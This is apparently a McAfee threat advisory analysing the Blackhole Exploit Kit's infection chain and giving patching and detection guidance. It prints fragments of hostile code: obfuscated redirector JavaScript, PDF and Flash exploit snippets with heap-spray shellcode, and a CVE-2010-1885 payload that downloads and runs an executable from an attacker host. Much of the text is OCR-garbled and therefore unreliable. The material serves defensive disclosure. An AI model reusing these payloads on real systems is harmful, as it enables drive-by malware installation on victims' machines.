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Summary

The Blackhole Exploit Kit is a web application developed to automatically install malware in computers using
exploits that are loaded once an unsuspecting user gets redirected to its server.

Unsuspecting users are usually redirected to Blackhole exploit servers when they visit compromised websites
injected with iframe redirectors or access links in spam mails leading to Blackhole servers. The Blackhole
server has an innocent looking webpage but contains a script that checks the system for vulnerable
applications and loads exploit files for the vulnerable applications found. Successful exploitation will allow
other malware to be downloaded and installed.
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Fig 1: Overview and Flow
Detailed information about the characteristics and mitigation are in the following sections:

e Characteristics
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e Getting Help from the McAfee Foundstone Services team

Characteristics

On a spam-based attack, victims are enticed to click on links leading to Blackhole servers. As seen on the
figure below clicking on “click here” will lead to the “index.html” served in maysperde.com. Currently links
from spam mails leading to Blackhole servers have the following format:

e http://<Blackhole domain>/<8 random characters>/index.html

Thanks for updating your email address

For your security:

Cardholder, Cardmember:

Thanks for updating your e-mail address with us.

We changed your e-mail address in our files tCJ http://maysperde. com,TExXwMVI/index,
SmallalvarezBnP@hotmail.com. If this is correjg html

disregard this e-mail. If the new e-mail address [Cirl=Click to follow link |
you did not request this change, please CLICK HERE, orlog in to

online. americanexpress.com.
Thank you for your Cardmembership.

Sincerely,
American Express Customer Service

Fig 2: Spam mail with link to malicious site

The index.html file is actually a redirector that attempts to load the “js.js” JavaScript file from several sites.
As seen in the html code below.

<htmls>
<h1>WAIT PLELSE</hl>
<h3r»Loading...</h3>

<script type="text/javascript” src="ntrp:/ G - YEri s, s </ scripty
<3cript type="text/javascript" src="http:// S (oY 02 fAZ /5. 3" </ scripty
</html>

Fig 3: index.html code
The loaded js.js JavaScript file will then redirect victims to the main Blackhole site.

I:i:n::r.e:‘.t . ='hetp: /A = cwthread. php?t=d44175c6daT68b70" ;

Fig 4: Js.js file content

The main Blackhole page will look something similar to the figure below, while exploits are loaded and before
the unsuspecting victim gets redirected to another non-malicious website.




rcamel.com,search.php?page=73a07bcb51f4be71 - Windows Internet Explorer

=10lx]

@_‘? )~ [i2] http: R corjsearch php?page=73a07bch5 1 Fbe7 1 =12 |1 % [uve search

Flle Edit Yiew Favortes Tools Hslp

¢ @ hitpfeurcamel, comfsearch.php?pags=73a07bebSIF. . | | i v B v i v hPage + (i Took 7

Please wait page is loading...

Help and Support Error 1 x|
Windowss cannot open Help and Suppart because a system ssrvice Is nok rUnning.

To fix this problem, start the service named 'Help and Suppart’.

Contains commands For working with the selected items.,

RI00% » 4

Fig 4: Blackhole main page as seen in browser.

The Blackhole Exploit Kit uses heavily obfuscated JavaScript that have functions that allows it to check the
operating system and vulnerable applications installed on the victim’s machine.

chtmlr»<body><scriptsmd="a";</script>

<pre id="asd"
style="display:none;">»103,112,102,118,112,102,113,117,4%9,120,117,106,119,102,43,40,63,100,
i04,111,11%,102,117,63,63,105,52,63,83,109,104,98,118,102,35,120,100,106,119,33,115,98,106,
102,35,106,118,33,111,112,100,101,108,111,106,47,49,47,63,48,107,50,65,61,50,100,104,111,
119,102,117, 63, 63,105,117, 63, 42,}2, 62,103,120,111,102,117,108,112,113, 33,104,111, 103, 86,
117,102,103,106,117,102,102,117,43,42,126,126,119,115,124,124,121,9
108,11

8,117,33,83,109,120,104,
,102,118,102,102,117,64,124,121,102,117,116,108,112,113,59,37,49,49,54,49,55, 37,
45,113,98,112,102, 61, 35,83,109,120,104,108,111,71,102,119,102,102,117,37,45,107,98,113, 101,

Fig 5 : Obfuscated JavaScript

The deobfuscated script shows that it checks for targeted browser plugins and its versions to determine the

correct exploit file to use for the system. There is also a redirection to a non-malicious website to reduce
doubt from the victim.
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Fig 6: deobfuscated script showing redirection to a non-malicious website.

| ¥, flash: {mimeTvpe:
| elassID: "clsid:D27C

ve-flash", ‘proglIl: -"ShockwaveFlash.ShockwaveFlash"™,

CDBE6E-AE6D-11CF getVersion: funection () {var b = function
| (1) {if (!i) {return null;

tvar e = /[\d] [\d\, N AS]#[XRAD] {0, 1} [\d\, 1%/ .

return e ? e[0].zeplace (/ [rRdAD\.]/q, s mry o-poonuall;

Fig 7: Flash plug-in version check
The following browsers plug-in are known to be targeted by the exploit kit.
e Java Runtime Environment

e Adobe PDF Reader
e Flash




Java Exploits
Initially the script loads a Java applet that contains exploits that it uses to download other malware or

redirect victims to another website.

= document.createklement ("applet™):

g

q marchive”, "http:/ /R G-t .5ar") ;

Q [("code™ "ay=a.C");

p = document.createElement ("param™) ;

D. l:ll::ir.;_llr ||'_||:|;

B. ["value™, "SaZziZcizzIvvuzBE8LojwoIljwoIlj=N3 uFuY-rHDITSgDrH™) ;
g.appendChild (p)

document .body . appendChild (q) ;

Fig 8: loading of java applet with encrypted URL to download as value
The following URL format has been observed as links to the Blackhole applet JAR files.

http://[Blackhole domain]/content/GPlugin.jar
http://[Blackhole domain]/data/Pol.jar
http://[Blackhole domain]/content/sp30.jar
http://[Blackhole domain]/field/sp30.jar
http://[Blackhole domain]/ sp30.jar

The Blackhole JAR files are observed to have the following filenames:

Qai.jar
sp30.jar
Isp30.jar
GPlugin.jar
Jav2.jar
klot.jar
Edu.jar
Cal.jar
Set.jar

Currently the Jar files loaded by Blackhole contain 6 class files with short random names in a package with 1
to 4 random characters as names. Shown in the figure below is a comparison with the previous Blackhole
java exploits JAR package structure and the current distributed JAR files.

EIB ﬁ [ -4 ehsa
E-@ ER =-[3)
----- & @:5tring =-{a F
..... & b Array - o% ghsa 1 Object
..... & ¢ Hashset - ©% ghsh : boolean
..... & d:Inc - @ ehsc: char
..... of 7 : String[] - & ghed @ ter
----- @ ER(Inc, Hashset) - 0% ghse : Class
----- @ allnc, HashSet, Object, Object) : String - @5 ghsf: Class
----- @ entrySet() : Set - 0% ghsg : String
----- E° z(String) : char[] - ©5 ghsh : String
----- EF z{char[]) : String - @ ehsa() : Object
= =S IR @ ehsa(Object[]) : char
= = R R @ init) : void
- (3] b - (1] a2
E'"'m c []---m ehsa
E'"'m t []---m ehsh
[]---m ehsc
[]---m ter
Previous Current

Fig 9: Comparison of the class file structure of the previous and new Jar files distributed by Blackhole .




Blackhole is known to exploit the following java vulnerability.

e CVE 2010-0840
e CVE 2012-0507
e CVE 2011-3544

Successful exploitation of the vulnerabilities will allow it to download and install malware or redirect again to
another site for further exploitation.

PDF Exploits

PDF exploit files are also loaded once a vulnerable version is detected. There are two kinds of PDF exploit files
served depending on the version (“ap2.php” and “apl.php”). The following URL format have been observed
for the URLs of the malicious PDF file:

e http://[Blackhole domain]/<directory=/ap2.php?f=<random character>
e http://[Blackhole domain]/<directory=/apl.php?f=<random character>

if  (pdfwer[C0] > 0 && pdfver[0] < 8)

execT = 0;

show pdf ("./data/apl.php?f=0e44a");

P elze if (pdfver[0] == 8 pdfver[0] == 9 && pdfver[l] <= 3)
execT = 0;

show_pdf ("./data/ap2.php");

Fig 10: loading of PDF exploit file

PDF files downloaded in “ap2.php?f=""is observed to currently exploit CVE 2010-0188 PDF vulnerability on tiff
files.

<8000} {_j5='o+uls]
_37=_I3(_j6) telsed
_37=_ 13( :|6|
_110="¢ AAFALLABLLLD AAFELALABLLLD EDAAFALALBALLAFEQEE
WABACS ;_111=_j8+ 39+ 110+ _3j5;_112= jll( 37,y sif(_112.

_113—_j2(_1121;with({k 113 3 _I0 (k) ;qwel23ba. rawValJe— 111} 33(J|

co—

Fig 11. Decoded JavaScript embedded in PDF file exploiting CVE 2010-0188

“apl.php?f=" PDF files on the other hand contains a cocktail of exploits.

while (overflow. <44952) {overflow+=overflow:

} this.collabStore=Collab. colllectEIcaJ.lI']foi subj:'"',msg:overflow});
} function printf() {nop= {"$u0A0AFROAOATUOROATUOROA" ) ;

if (app.doc.Collak.getIcon) {var payload= (Bj=g) »
var 'ﬂ-IqSOOCN payload =2
else if( (1lv>=9.1) (lv(=9.2] (lv>=8.13) (lv<=8.17) ) {function a() {util.printd ('p#E111113131311313113131311131 -:

yvyylll' ,new Date()):
wvar h=app.pluglns;

Fig 12: declaration of several vulnerable functions of PDF file downloaded from “apl.php?f="

Currently the following vulnerabilities in adobe reader are known to be exploited.

CVE 2007-5659
CVE 2008-2992
CVE 2010-0188
CVE 2009-0927
CVE-2009-4324

The shellcodes of the exploits used downloads and installs more malware in the system.




Flash Exploits
Finally, it also downloads the exploit flash files and executes them. The following are known SWF filenames
downloaded :

e Score.swf
e Field.swf

When the file named Field.swf is executed, several functions from the BlackHole exploit kit are called. These
functions load the file named Score.swf. It then sprays the heap with malicious shellcode. The filename
Score.swf is used to exploit CVE 2011-0611.

function getcN() {
return ° content
I
function getBlocksize() {
return 1024

function getallocsize() {
return 1024 * 1024|

1
function getallocCount() {
return 300

1

function getrFilleytes{) {
var a = "¥u' + '0cOc’;
return a + a;

unction getshellCode
return Ll Ll uB3e6iufcedBuebf c%u5810%uc931%uB166%u5d
%UulB68%uG68a3%ual24%ul4 58%uad7eBu205eRuf 3I1b%¥ualdeMuld 7 6%usc2bXu0d
%ucl 7 9%ubd c3%u7e? 9%uSdad®ualildbuldsc®u2b50%u7 edd%uSea3%u2b08%ulb
%ue3ef%u2b25%ub8f 2%ud9c3%u371 I%uce5d%ua37e%ulcy 6%uf52b%ualde®ua3

Fig 13: Functions and Shellcode

The malicious URL in the shellcode is clearly visible as shown in the below figure:

UxXUDU | GUUD SUB3 CULY >U5> BBEC BBSE 1UB3 C30> ..PIA.PU<i<".FA.
0x0EOQ | FFE3 E8EF EE00 0068 7572 ECED S54FF 1683 ¢8hon..hurlmTi. f
0x0F0| C408 BBER ESE1l FFFF FFEB 0ZEB 7281 ECO04 A.cédappys.&r i.
0x100 (0100 008D 5C24 0CCT 0424 7265 6773 C744 ... \5.¢.S5ragsagD
0x110| 2404 7672 3332 CT744 2408 202D 7320 5368 $.vr32¢D$. -= sh
FA00 0000 FF56 OCBB E833 €951 C744 1D00 wo&.. .jJ‘I-téS‘EQ;D. s
7770 6274 ©T744 1DO5 2EG4 EC6C CE644 1D09 wpbtgD...dllED..
0059 BAC1 0430 BB44 1D04 4151 GAOD GAO0 .¥3A.0°D..AQj.7.
5357 GADO FF56 1485 CO7S 166A 0053 FF56 SWj.9¢V..hu.j.39V
046A 00B2 EBOC S53FF 5604 B3C2 OCEE 02EE  .j.fe.8¢v.fRh.&.&
1347 BO3F 0075 FA47 803F 0075 C46A 006A .GE?.uaG€?.ulj.]
FEFF 5608 EB9C FEFF FFBE 4E0E ECY%8 FEBA byV.éwbyyiN.1i"b3
OE8S 6F0L BD33 CABA SBLB C646 7936 1A2F ko . m3P3| FF
TOBE T474 T03A Sommmsa STl s phttp://

T eI G270 3766 3D38 3726 653D M~ -php?i=87ée=

B..

3800 0028 {

Fig 14: shellcode used in SWF exploits

Successfully exploiting the vulnerability in the exploit will download and install malware on the system.

Other Exploits

Victims can also get redirected to a website hosting an exploit that is exploiting a vulnerability in the Microsoft
help and support center (CVE-2010-1885). URLs leading to this exploit is observed to have the following
format:

e http://<Blackhole domain>/data/hhcp.php?c=<random number>

The exploit also comes as an obfuscated JavaScript when de-obfuscated it is seen to load an iframe with the




exploit. The payload is a vbscript that downloads and install another malware.

var iframe = "<iframe

="y P B8 oA .
Src=\ " &FlUa;

.E5Ceyesinfomain. htm¥Iul03fesvr=<script defer>Run ('cmd - /c -echo -FileName

Be$28470;TEMPE$8470; }file,.exe@>>2$8470,; TEMPFL$28470; tgo.gP=] ] echo

url!@http:/ kaSEQTEL.kimazfi.cbm:EJED;q.php{fZ&eISE >>&¥8470; TEMP&#8470; }go.gP=] lecho Set
obJHTITE - ! CreateCbiect (EMS¥MLZ . ¥MLHTTPE) >>&$#8470; TEMP&$#8470; tgo.gP=] lecho Call

Fig 15: CVE-2010-1885 exploit code

Malware Installed
The following malware families are known to be installed by Blackhole :

e Zbot
¢ Ransomware
e FakeAlert

Currently links to malware executables related to Blackhole have the following format:

e http://<Blackhole domain>/q.php?f=<4 random characters> &e=<number=>
e http://<Blackhole domain>/w.php?f=<4 random characters> &e=<number>

Mitigation

e If possible block access to URLs and files having the same format described above.
e Use a browser plug-in to block execution of scripts and iframes.
e Keep the anti-virus signatures updated. McAfee detects the Blackhole exploit files and scripts as:
o JS/Exploit-Blacole
o SWF/Exploit-Blacole
o JV/Exploit-Blacole
0 Exploit-PDF!Blacole
e Keep installed software up-to-date with the latest available patches.

= Java Runtime Environment
= Adobe Reader(PDF)

= Adobe Flash Player

=  Windows Update

Updating the Java runtime Environment
To update the Java runtime environment:

1. Go to the Windows control panel and locate the java control panel.
For Windows 7 and Vista: Click on Start > Control Panel > Programs
For XP click on Start > Settings > Control Panel

2. Launch the Java control Panel by double clicking on the java icon.

& Java
=

3. Then click on the update tab.

4. To update click on the “update Now” button. It is also advisable to enable the “Check for Updates
Automatically” to be regularly updated.




Java Control Panel !. E

General Update ] Java | Security | Advanced |

 Update Matification

? The Java Update mechanism ensures you have the most updated
1—_{3 wersion of the Java platform. The options below let you control how
""" updates are obtained and applied.

Motkify Me: |BeF0re downloading j

| v Check for Updates F\utomaticallyl Advanced...

On the day 7 of each month at 2:00 PM, Java Update will check For
updates. An icon will appear in the syskem kray if an update is
available. Move the cursor ower the icon to see the status of the
update. ¥ou will be notified before the update is downloaded.

Java Update was last run at 2:13 PM on
5/Z7112.

ol 4 Cancel

5. A notification will appear if an update is available. Click on the install button then follow prompts to
install new update.

Java Update - Update Available !.E

Java Update Available

Java B Update 32 is ready to install. Click the Install
button to updste Java nowe. If you wish to update
Jawa later, click the Later button.

0 More infarmation...

ORACLE" el ]| Lt

Updating Adobe Reader
To update the Adobe Reader:

1. Launch the Adobe Reader application.
2. On the menu click on Help > Check for updates.




3.

A~ Adobe Reader

File Edit Wiew Document Tools Window | Help

@ -~ @ I 0 7 Adobe Reader 2 Help F1

About Adobe Reader 9...
About Adobe Plug-Ins...

Improvement Program Options. ..

Online Support. ..

Repair Adobe Reader Installation
Chedk for Updates...

Purchase Adobe Acrobat

Follow the instructions that appear if an update is available.

Updating the Adobe Flash Player
To update the Adobe Flash player:

1.

2.

3.

Visit the adobe flash player update website:
http://www.adobe.com/support/flashplayer/downloads.html
Then click on the “Get the latest version” link:

Get the latest version
Download the most recent

version of Adobe Flash Player.

Follow the instructions that appear if an update is available.

Updating Windows operating system
To update windows:

1.

Launch the windows update application.
Click on start > All Programs > Windows update.

2. On the windows update, click on “Install updates” to install available updates for windows.



http://www.adobe.com/support/flashplayer/downloads.html

=101 ]
OO |:‘_| + Windows Update - mISearch @J

File Edit WView Tools Help

g Check for updates Windows Update
Change settings

View update history

— Install updates for your computer
Restore hidden updates |
. 1important update 1 important
Upda1_:es. frequently asked iz available update selected,
questions 57.0 MB - 567.3
MB

| @lnsmll updates I

Mast recent check for updates: Today at 10:51 AM

Updates were installed: 18/5/2012 at 5:06 PM.
View update history
‘fou receive updates: For Windows and other products

from Microsoft Update

Find out more about free software from Microsoft Update.
See also Click here for details.

Security Center
Installed Updates

Getting help from the McAfee Foundstone Services team

This document is intended to provide a summary of current intelligence and best practices to ensure the
highest level of protection from your McAfee security solution. The McAfee Foundstone Services team offers a
full range of strategic and technical consulting services that can further help to ensure you identify security
risk and build effective solutions to remediate security vulnerabilities.

You can reach them here: https://secure.mcafee.com/apps/services/services-contact.aspx



https://secure.mcafee.com/apps/services/services-contact.aspx
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